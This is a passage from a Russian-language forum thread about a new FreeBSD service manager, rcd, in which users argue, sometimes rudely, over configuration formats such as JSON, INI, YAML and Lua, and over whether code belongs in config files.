самое простое.
	Ответить | Правка | К родителю #285 | Наверх | Cообщить модератору

	359. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 22:26
	> Ну вот банально - какая из стандартных библиотек по работе с конфигурациями поддерживает сохранение рантайм-конфигурации в config.lock? Это не задача парсера конфига, это приложение само должно реализовывать. > Что будет при работе нескольких реплик? Реплики чего? Копия программы? Все зависит от требований, нужно на каждый запущенный экземпляр создавать config.lock? - Создавай в чем проблема? Process id есть, всегда можно понять и по логам или по файлу config.pid.lock понять. Не вижу проблемы. > И это тоже правда - запись в лог использую (Правда через пару месяцев - удачи его найти) :) смешной, так реализуйте нормально, в чем проблема? Логи ваши сротируются? Так пиши в отдельный конфиг лог, в чем проблема? Я проблемы не вижу, если стоит задача определять конфиг запущенного приложения - сохраняй этот конфиг после запуска и все. Как хранишь, что хранишь, сколько времени хранишь - это дело второстепенное, и зависит от задач, а не от моего ответа как это делать. > отдельный метод в вебне для получения runtime config из файла делаю. Ага еще и телеграм бота прикрути и будет вообще веб-2.0 :) ваше дело, ваше право, как и указал выше. И это все решаемо и проблем я не вижу!
	Ответить | Правка | К родителю #338 | Наверх | Cообщить модератору

	75. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (75), 10-Сен-26, 16:29
	> за конфиги на json есть отдельный котел в аду А за свой нескучный NIH формат там тоже отдельный котел? Один на всех, или на каждый формат отдельный, лол?
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	103. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от User (??), 10-Сен-26, 21:12
	Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь?
	Ответить | Правка | Наверх | Cообщить модератору

	169. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Массоны Рептилоиды (?), 11-Сен-26, 10:32
	> Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь? Посажу bsd на второй стул, сам - ей на руки сяду.
	Ответить | Правка | Наверх | Cообщить модератору

	173. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 10:44
	>> Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь? > Посажу bsd на второй стул, сам - ей на руки сяду. Маккьюзик с Оллманом одобряют!
	Ответить | Правка | Наверх | Cообщить модератору

	195. Скрыто модератором	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:53
	>> Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не >> совместим - на какой сам сядешь, на какой bsd посадишь? > Посажу bsd на второй стул, сам - ей на руки сяду. Это не руки были... :)). Хотя может и руки, эти BSD - такие затейники...
	Ответить | Правка | К родителю #169 | Наверх | Cообщить модератору

	193. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:51
	> Есть два стула - на одном конфигурация без комментариев, Это про что? Реестр вашей винды чтоли? А то у Systemd таки можно - коментарии :). Да, без коментов в реестре - тяжко. > другой ни с чем и никак не совместим - на какой сам сядешь, на > какой bsd посадишь? Да вы оба обсидите - и реестр виндовый, и вон то небось. Мазохизм - это как-то так.
	Ответить | Правка | К родителю #103 | Наверх | Cообщить модератору

	202. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:13
	>> Есть два стула - на одном конфигурация без комментариев, > Это про что? Реестр вашей винды чтоли? А то у Systemd таки > можно - коментарии :). Да, без коментов в реестре - тяжко. Ооооу. Про существование json'а вы не в курсе?
	Ответить | Правка | Наверх | Cообщить модератору

	231. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 15:43
	>>> Есть два стула - на одном конфигурация без комментариев, >> Это про что? Реестр вашей винды чтоли? А то у Systemd таки >> можно - коментарии :). Да, без коментов в реестре - тяжко. > Ооооу. Про существование json'а вы не в курсе? Я в курсе про то что JSON - позволяет довольно дохрена всего - включая вложенные конструкции, массивы и проч. И что поэтому его в результате от и до, 100% корректно - не парсит приблизительно никто. Ну может кроме самого JS в браузере. А в s-d таки - внезапно - можно коменты. Вот прям в "ini-like" формате. Представляете? Без всей этой адовой оверинженерии. Потому что если условный Васян завернет каких-нибудь пятиэтажных составных объектов - вы, таки, немного очешуеете...
	Ответить | Правка | Наверх | Cообщить модератору

	234. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:53
	Оу. Т.е. про JSON вы первый раз услышали, и еще про парсеры еще не загуглили, да? Ох, что ж за день-то такой? Может я один в пятницу трезвый?? Один вот закон квадрата-куба "анизотропностью объекта" нарушает, другой - на ноль делит и ноль получает, третий вот весь день спрашивает, почему проект, целью которого является создание СОВМЕСТИМОГО решения не выбрал вот решение НЕСОВМЕСТИМОЕ, которое ему больше нравится... Этот вот про невдолбенную сложность JSON, которая никак-никак валидный парсер создать не позволяет чушь несёт... И ведь сентябрь уже на дворе, не август! Беда прям какая-то.
	Ответить | Правка | Наверх | Cообщить модератору

	244. Скрыто модератором	+/–
	Сообщение от Аноним (-), 11-Сен-26, 16:18
	> Оу. Т.е. про JSON вы первый раз услышали, и еще про парсеры > еще не загуглили, да? Какой вы умный! Только вот я в отличие от вас - умею * Писать программы. * Парсить это добро. И XML и JSON. * И даже от ремот. * И даже относительно секурно. Но даже так - порой можно поймать какой-то странной фигни. Поэтому - я догадываюсь об уровне сложности задачи - и граблях в процессе. Это идет чуть дальше чем надувание щек на форуме с умным видом :) Самое плохое что там есть - надо быть готовым к произвольной структуре, произвольного размера, произвольного уровня вложенности и сложности. Ну такое себе, если честно. Особенно - для конфигов. Тем более что сие и для админа тоже актуально. > Ох, что ж за день-то такой? Может я один в пятницу трезвый?? Это вам не сильно помогает. Сходите на сайт с iq-тестами, устройте себе чекап. Я и так знаю что он покажет, можете не рассказывать. > которого является создание СОВМЕСТИМОГО решения не выбрал вот решение НЕСОВМЕСТИМОЕ, Совместимость - это прекрасно, но только до определенной точки. Как там с поилками для лошадей на АЗС? Инстальнули? Для совместимости же. > ему больше нравится... Этот вот про невдолбенную сложность JSON, которая никак-никак > валидный парсер создать не позволяет чушь несёт... И тем не менее - по сравнению с ini простым как дрова - сие просто разные миры. Парсить ini - тривиальнее некуда. А вон то, в произвольно взятом виде... > И ведь сентябрь уже на дворе, не август! Беда прям какая-то. Да вам совет с чекапом - актуален круглый год... чтоб трезвей на вещи смотреть. А то вроде и трезвый - но от реалий оторван круче иного пропойцы.
	Ответить | Правка | Наверх | Cообщить модератору

	249. Скрыто модератором	+/–
	Сообщение от User (??), 11-Сен-26, 16:45
	Да-да, конечно... мы видим, да-да...
	Ответить | Правка | Наверх | Cообщить модератору

	256. Скрыто модератором	+/–
	Сообщение от Аноним (-), 11-Сен-26, 17:28
	> Да-да, конечно... мы видим, да-да... Очень сомневаюсь что вы когда либо писали парсер XML или JSON. Наверное именно пожтому вы... 1) Превозносите эти форматы. 2) Не догоняете что не так с их парсингом. А приколитесь и попробуйте таки - написать парсинг этого. Можете даже используя готовые либы, я добрый.
	Ответить | Правка | Наверх | Cообщить модератору

	260. Скрыто модератором	+/–
	Сообщение от User (??), 11-Сен-26, 17:57
	Ох, да не закапывай ты себя еще больше-то, употребляя в контексте парсеров json и xml в одном предложении, а? Парсер json все студенты, учившиеся после его появления писали - и большинство из них вот справилось (Даже те, что из кулинарного техникума). decoder.py из стандартной библиотеки 300 строчек - а ты плачешься, что "сложьна!" и рассказываешь, что только вот такой гуру мог бы - если бы захотел, но он не хочет... Ну оподливился в очередной раз - отоди на подветренную сторону, обсохни - а потом возвращайся за новыми победами, глядишь да и забудет кто.
	Ответить | Правка | Наверх | Cообщить модератору

	307. Скрыто модератором	+/–
	Сообщение от Аноним (-), 12-Сен-26, 01:44
	> Ох, да не закапывай ты себя еще больше-то, употребляя в контексте парсеров > json и xml в одном предложении, а? У них кое-что общее. И то и другое позволяет городить довольно сложные структуры - заметно отличающиеся от ожиданий програмера. На чем они таки - налетают. XML конечно ужаснее, но JSON тоже - фигня та еще. Он не удобен в парсинге машине, читаемость человеком у него тоже лишь маргинально лучше XML и зависит от форматирования. А вот ini синтаксис - особо не изгадишь. И стен текста или сложных структур там не практикуется. В чем фича и состоит: конфигурация проста и прозрачна. Реестр в принципе тоже как-то так же, просто параметров там - зело уж дохрена и они не документированы, а все это в целом очень уж похоже - на параллельный ФС, который типа не ФС, но типа почти ФС. > Парсер json все студенты, учившиеся после его появления писали - Это не означает сколь-нибудь валидную реакцию программы на произвольный json. > 300 строчек - а ты плачешься, что "сложьна!" и рассказываешь, что > только вот такой гуру мог бы - если бы захотел, но он не хочет... А софт на питоне вообще - склонен делать адскую дичь налетев на нежданчик. > Ну оподливился в очередной раз Клиенту Accenture не привыкать. Удивительно было бы если б вы не продвигали очередное оверинженернутое г-но явно избыточное для этой задачи.
	Ответить | Правка | К родителю #260 | Наверх | Cообщить модератору

	342. Скрыто модератором	+/–
	Сообщение от User (??), 12-Сен-26, 16:17
	> но JSON тоже - фигня та еще. Он не удобен в парсинге машине, Оу. А вы точно... ну... IT'шник? НАСТОЛЬКО не иметь представление о json'е в последние эдак 20 лет можно вот разве что работнику Яндекса: таксисту или курьеру, в смысле. > А вот ini синтаксис - особо не изгадишь. И стен текста или сложных структур там не практикуется. В чем фича и состоит: конфигурация проста и прозрачна. Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, то знали бы, что сколько-нибудь хороший ini-парсер _сложнее_ парсера json и даже наверное догадывались бы, "почему". Но вы ээээ... юзер одного единственного решения, не имеющий ни малейшего представления о формате, который он использует и о связанной с этим форматом... специфике. > Это не означает сколь-нибудь валидную реакцию программы на произвольный json. Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, то знали бы - что это не задача парсера. А если бы решали хоть какие-то задачи с практическим применением, то наверное слышали бы что-нибудь про схемы данных хотя бы краем уха...
	Ответить | Правка | К родителю #307 | Наверх | Cообщить модератору

	78. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (78), 10-Сен-26, 16:52
	Но сначала в голову гвоздь забить! Медленно...
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	92. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:25
	Выбрал бы конфиги на json, xml, yaml, toml, да хоть ini вместо всего зоопарка несовместимых между собой форматов, которыми так "славится" что бсд, что линукс.
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	104. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 21:18
	И у каждого, блджд, свои приколы: У json комментарии надо в семантику тащить У xml нормального парсера считай что нет + руками редактировать ээээ... Отвратительно. Yaml хрупкий и с неочевидными граблями У toml нет null/none, что для конфигурации важно (как показать в примере, что параметр _может быть_ но значения по умолчанию у него нет?) Ini... О, он нетипизированный by design, вот. И вложенность умеют не только лишь все...
	Ответить | Правка | Наверх | Cообщить модератору

	119. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:04
	А как же LUA в качестве конфигов?
	Ответить | Правка | Наверх | Cообщить модератору

	122. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 22:13
	> А как же LUA в качестве конфигов? Не-не-не, спасибо, нет. Мне openresty на всю жизнь хватило. Неустранимые проблемы с безопасностью, проблемы со статическим анализом (все ошибки в рантайме, лови драный nil через неделю), попытки выродить по определению декларативную конфигурацию насквозь императивным языком, отсутствие вменяемого тулинга (как провалидировать конфигурацию? Подсветка синтаксис, автодополнение в произвольной системе?)... В общем сразу - прямо, и неееемнооожечко направо, да.
	Ответить | Правка | Наверх | Cообщить модератору

	130. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 00:15
	А откуда у вас nil в статическом конфиге взялся? У меня с prosody никаких проблем не было.
	Ответить | Правка | Наверх | Cообщить модератору

	152. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 06:19
	> А откуда у вас nil в статическом конфиге взялся? > У меня с prosody никаких проблем не было. Ээээ... А зачем вообще нужен Lua в принципиально статическим конфиге? Вот чтобы что?
	Ответить | Правка | Наверх | Cообщить модератору

	156. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 07:31
	Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx.
	Ответить | Правка | Наверх | Cообщить модератору

	158. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 09:01
	> Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других > парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. > Иногда бывает удобно всунуть немного логики в конфиг, например как в том > же nginx. Не, смотри - впихнуть в конфиг lua "для динамики" можно (ну, вопрос безопасности сего отложим) - применили, получили классический статический конфиг, провалидировали - если все ок, запустились. А вот использовать lua как формат конфигурации - уже вот ниочень.
	Ответить | Правка | Наверх | Cообщить модератору

	159. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 09:16
	> Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других > парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. > Иногда бывает удобно всунуть немного логики в конфиг, например как в том > же nginx. Причём смотри - если мы нормальные люди, а не курильщики, то мы не впихиваем япву общего назначения для конфигурации - мы делаем унифицированный (json) api для работы с ней, выносим всю динамику вовне и вместе с пользователем (который гарантированно безопасно работает с конфигурацией на удобном языке) наслаждаемся результатом. А любители "упрощать" путем всяких import config.py должны страдать (и так же вместе с пользователями) страдают.
	Ответить | Правка | К родителю #156 | Наверх | Cообщить модератору

	185. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 11:38
	Ну я как бы всё равно не очень понял. Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже в формате LUA там в самых первых главах. prosody юзаю - то что там на LUA конфиг и вопрощает эту идею в жизнь - мне никак не мешает жить. json и прочее - сделать можно, но это для взаимодействия через вебморду или API для конфигурации живого процесса. Мне кажется так практичнее.
	Ответить | Правка | Наверх | Cообщить модератору

	208. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:54
	> Ну я как бы всё равно не очень понял. > Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже > в формате LUA там в самых первых главах. > prosody юзаю - то что там на LUA конфиг и вопрощает эту > идею в жизнь - мне никак не мешает жить. > json и прочее - сделать можно, но это для взаимодействия через вебморду > или API для конфигурации живого процесса. Мне кажется так практичнее. Блин. Ну, тут прям много писать надо. Конфигурация в общем-то "по определению" декларативная штука, описывающая состояние объекта. lua\json-api в общем-то способы менять это состояние в рантайме\от внешних условий, да? Причем на самом деле требуется это ну сииииильно не всегда, да? А дальше у нас несколько вариантов: 1. Программа на lua --> конфигурация на lua. Никакого барьера, ничего. Единственные джве проблемы - безопасность\сендбоксинг (решается) и "найти программу, написанную на lua" - сложьна! 2. Lua как встраиваемая часть конфигурации. Сама конфигурация вот статична - lua формирует её до передачи в приложение (Т.е. приложение само отвечает за валидацию этой статики) - вот nginx. 3. Lua как "формат конфигурации целиком" в проекте на другом языке. "Статической" конфигурации как таковой нет, есть вот динамически формируемый рантайм - в котором ты собственно и будешь ловить все ошибки со всеми вытекающими. Как будто примерно во всех случаях проще взять любой удобный templating engine для формирования статической конфигурации + API для работы с рантаймом, в тех - повторюсь, не то чтобы однозначно всем-и-всегда нужных случаях.
	Ответить | Правка | Наверх | Cообщить модератору

	290. Скрыто модератором	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:45
	Так оно там не рассматривалось как прям динамический конфиг ради динамичности. Оно рассматривалось как замена парсера файлов с настройками, где бонусом можно дописывать логику. Мне вот, для примера, в mpv не хватает возможности немного поскриптовать в конфиге чтобы на разных ОС и железках немного отличались некоторые параметры. Я понимаю что админам и девляпсам хочется проверялку перед заливкой, которая скажет что конфиг говно или конфиг юзабелен, а не ловить потом даунтайм и SLA.
	Ответить | Правка | К родителю #208 | Наверх | Cообщить модератору

	340. Скрыто модератором	+/–
	Сообщение от User (??), 12-Сен-26, 16:10
	> Так оно там не рассматривалось как прям динамический конфиг ради динамичности. > Оно рассматривалось как замена парсера файлов с настройками, где бонусом можно дописывать > логику. Уф. Как будто экономия на спичках может окупиться только если сама программа на lua, да и то - не факт. > Мне вот, для примера, в mpv не хватает возможности немного поскриптовать в > конфиге чтобы на разных ОС и железках немного отличались некоторые параметры. Нууу... За десктоп скажу не очень много - а за все остальное - ну есть вот внешний шаблонизатор + оркестратор инфраструктуры. Зачем запихивать его возможности в само приложение - мне не ведомо. Нужна тебе динамическая адаптация\генерация - берешь какой-нибудь ansible или что там в инфре сейчас есть - и voila! > Я понимаю что админам и девляпсам хочется проверялку перед заливкой, которая скажет > что конфиг говно или конфиг юзабелен, а не ловить потом даунтайм > и SLA. Ну, в общем да.
	Ответить | Правка | К родителю #290 | Наверх | Cообщить модератору

	259. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 17:43
	> Ну я как бы всё равно не очень понял. > Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже > в формате LUA там в самых первых главах. Читать книги по конфигам... м... удачи вам :). А полиморфные вирусы в эти книги входили? :)
	Ответить | Правка | Наверх | Cообщить модератору

	291. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:48
	Нет, можете сами убедится: lua-Lua.Lua.3rd.Edition.Jan.2013.ISBN.859037985X
	Ответить | Правка | К родителю #259 | Наверх | Cообщить модератору

	308. Скрыто модератором	+/–
	Сообщение от Аноним (-), 12-Сен-26, 01:45
	> Нет, можете сами убедится: lua-Lua.Lua.3rd.Edition.Jan.2013.ISBN.859037985X Да нехрен мне твой Lua не уперся. Особенно - в конфигурации, тудыть!
	Ответить | Правка | К родителю #291 | Наверх | Cообщить модератору

	228. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (223), 11-Сен-26, 15:23
	> Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx. Помнится как Сысоев говорил "Не программируйте в конфигах!!!", эхххх, ушла эпоха.
	Ответить | Правка | К родителю #156 | Наверх | Cообщить модератору

	233. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 15:47
	>> Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx. > Помнится как Сысоев говорил "Не программируйте в конфигах!!!", эхххх, ушла эпоха. Некоторые так с своими sysv портянками и не выучили урок на тему как они за...ли уже своими художествами вперемешку с конфигурацией. Не, реально, ковырять конфигурационные параметры на третьей странице, пополам с кодом - это не круто. Это безобразно. И более того - это и валидировать толком не того, и испортить случайно можно - подтерев лишнего, и вообще.
	Ответить | Правка | Наверх | Cообщить модератору

	293. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:58
	Так это боль админов/девляпсов со стороны эксплуатации, которые вынуждены разбиратся со всей фигнёй которую накакакодили другие. На что я могу только ответить: не нравится - идите в разработку и пишите как считаете нужным. Со стороны разработки всё выглядит совсем по другому: вместо жёсткого разделения на тупой вебсервер и мегатонны кода на каком то языке можно докинуть пару строк прямо в конфиг и получить нужный результат не отходя от кассы и не приходя в сознание, раньше чем чай остынет в стакане. А конкретно в случае nginx если оставить конфиги без логики и вытащить всё куда то на ЯП то часть задач которые решались парой строк и не влияли на производительность выльется вообще не понятно во что.
	Ответить | Правка | Наверх | Cообщить модератору

	292. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:53
	Но рынок решил иначе, и nginx во многом взлетел благодаря именно возможности описать логику в коде. Иначе он был не сказать чтобы сильно лучше лайти. Как минимум в до ЫЫ эпоху вобла кодинга было достаточно времязатратно иметь статический конфиг в одном месте и где то прикручивать логику в отдельном ЯП в другом. Я благодаря nginx смог выкинуть из своего проекта ssdpd свой же вебсервер целиком и возвращать какие мне надо ответы из nginx. Но конечно немного кода на пхп написать пришлось, там где уже совсем много логики и генерации было.
	Ответить | Правка | К родителю #228 | Наверх | Cообщить модератору

	302. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 23:36
	> Как минимум в до ЫЫ эпоху вобла кодинга было достаточно времязатратно иметь статический конфиг в одном месте и где то прикручивать логику в отдельном ЯП в другом. А лить все в index.php только потому-что программер не имеет тупо доступа к nginx-у, тоже нормальная практика? А потом "визг" про то, что все надо переписать на какой-нибудь nodejs или go, упаси Господи на ruby on rails.
	Ответить | Правка | Наверх | Cообщить модератору

	333. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:34
	Я с таким не сталкивался, попробуйте поспорить с админами/девляпсами которым код в конфиге не нравится :)
	Ответить | Правка | К родителю #302 | Наверх | Cообщить модератору

	361. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 22:29
	> попробуйте поспорить не в том возрасте, навидался и суровых сисадминов, и всяких девляпсов, вывод один - х*як, х*як и в продакшен, так было всегда, но не везде!
	Ответить | Правка | К родителю #333 | Наверх | Cообщить модератору

	174. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 10:47
	>А откуда у вас nil в статическом конфиге взялся? Элементарно. Достаточно требовать наличие параметра, для валидации схемы, с целью защиты от случайных ошибок.
	Ответить | Правка | К родителю #130 | Наверх | Cообщить модератору

	172. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 10:43
	Какую вы проблему собираетесь решить через lua? Гораздо логичнее взять nix, который уже соберётся в нужный формат.
	Ответить | Правка | К родителю #119 | Наверх | Cообщить модератору

	294. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:00
	1. собственно получить готовый парсер который способен прочитать параметры из файла и присвоить значения внутренним переменным и структурам 2. заложить возможность динамически подстраивать параметры, читай автотюнинг на уровне конфига.
	Ответить | Правка | Наверх | Cообщить модератору

	196. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 11:54
	> А как же LUA в качестве конфигов? Код как конфигурация? Die-die-die-die. Потому что поддерживать ЭТО - вообще совсем нереально.
	Ответить | Правка | К родителю #119 | Наверх | Cообщить модератору

	213. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:32
	>> А как же LUA в качестве конфигов? > Код как конфигурация? Die-die-die-die. Потому что поддерживать ЭТО - вообще совсем нереально. Редкий случай, когда хочется пожать мозолистую руку :)
	Ответить | Правка | Наверх | Cообщить модератору

	295. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:07
	Только в обморок не упадите: -- configuration file width = 200 height = 300 background_red = 0.30 background_green = 0.10 background_blue = 0 -- configuration file if getenv("DISPLAY") == ":0.0" then width = 300; height = 300 else width = 200; height = 200 end - мне вот примерно такого в MPV не хватает чтобы иметь единый конфиг на разных девайсах. Я бы конечно мог потратить кучу времени как сделали в хорг и сделать на С всю логику, но лучше пусть эта логика будет в конфиге на луа - хотя бы перекомпелять прогу каждый раз не придётся.
	Ответить | Правка | К родителю #196 | Наверх | Cообщить модератору

	144. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:25
	Да, у каждого свои приколы. И даже с приколами любой из них лучше зоопарка. Лишь бы использовался униформно.
	Ответить | Правка | К родителю #104 | Наверх | Cообщить модератору

	150. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 05:55
	/представил себе xml'ный кубик, содрогнулся/ Неее, предпочитаю иметь возможность выбора инструмента под задачу.
	Ответить | Правка | Наверх | Cообщить модератору

	140. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от kusb reg (ok), 11-Сен-26, 01:18
	ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей юникс вей это ini файлы ini файлы ini файлы ini
	Ответить | Правка | К родителю #34 | Наверх | Cообщить модератору

	49. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (49), 10-Сен-26, 13:46
	даже если бы они взяли системд , они бы его код все равно переписывали изза лицензии , под mit\bsd
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	52. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (52), 10-Сен-26, 14:14
	Зачем делать велосипед, если его уже сдалали много миллионов раз (не путать изготовление с изобретением)
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	102. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (102), 10-Сен-26, 21:07
	Зачем изобретали systemd, если есть upstart, используемый Гуглом?
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

2. "Для FreeBSD развивают новый системный менеджер rcd"	+15 +/–
Сообщение от Аноним (3), 10-Сен-26, 10:25
Вот и во freebsd будет свой systemd. Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
Ответить | Правка | Наверх | Cообщить модератору

	9. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от мяв (?), 10-Сен-26, 10:40
	потому что это видать не конфиг, а что-то интерпретируемо-обрабатываемое(обрабатывается как конфиг при старте и интерпретируется при ручных командах в сервис), типо как в openrc. но вопрос - зачем когда в опенрц это уже 100 лет в обед.
	Ответить | Правка | Наверх | Cообщить модератору

	28. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (28), 10-Сен-26, 12:07
	Потому что этот формат используют во FreeBSD уже много лет.
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	76. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 16:38
	> Потому что этот формат используют во FreeBSD уже много лет. Нет, вообще не используется. Посмотри на /etc/rc.conf, /etc/sysctl.conf, /etc/fstab... Что, много схожести видишь, лол?
	Ответить | Правка | Наверх | Cообщить модератору

	138. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (28), 11-Сен-26, 01:08
	pkg.conf iovctl.conf
	Ответить | Правка | Наверх | Cообщить модератору

	167. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Dmitry (??), 11-Сен-26, 10:09
	Куча программ использует UCL конфиги. Ну и нативная поддержка через libucl есть Где ж вас таких набирают по объявлению ?
	Ответить | Правка | К родителю #76 | Наверх | Cообщить модератору

	262. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 18:52
	> Куча программ использует UCL конфиги. > Ну и нативная поддержка через libucl есть Кто все эти люди? И куча - это сколько конкретно? Нельзя ли весь список этого софта? > Где ж вас таких набирают по объявлению ? libucl-dev: Portable compression library - development. Homepage: https://www.oberhumer.com/opensource/ucl/ Ну, э, да - граждане даже название проекта себе выбрать нормально не смогли! Настолько что клещ с немолодой либой Маркуса Оберхамера вышел. Сразу видна могучая фантазия, фэйл начинается с имени проекта.
	Ответить | Правка | Наверх | Cообщить модератору

	77. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 16:47
	> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? Автор увлекается NIH, а не веб-разработкой. В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. А на васянских юниксоподелиях - пожалуйста - в 2026 новые форматы конфигов изобретают, лол. И свой нескучный init. Других проблем у современной Бзды нет, очевидно.
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	106. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 21:28
	Ну тут вот годик назад некие васяны (ты их наверное не знаешь - Google'ем кличут) kyaml изобрели. Глюпые, да...
	Ответить | Правка | Наверх | Cообщить модератору

	125. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (75), 10-Сен-26, 23:26
	> KYAML is a safer and less ambiguous subset of YAML Не изобрели, а попытались пофиксить корявый YAML.
	Ответить | Правка | Наверх | Cообщить модератору

	153. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 06:21
	>> KYAML is a safer and less ambiguous subset of YAML > Не изобрели, а попытались пофиксить корявый YAML. Ну скажи, что эти вот "попытались пофиксить корявый JSON" - легче стало?
	Ответить | Правка | Наверх | Cообщить модератору

	164. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 09:54
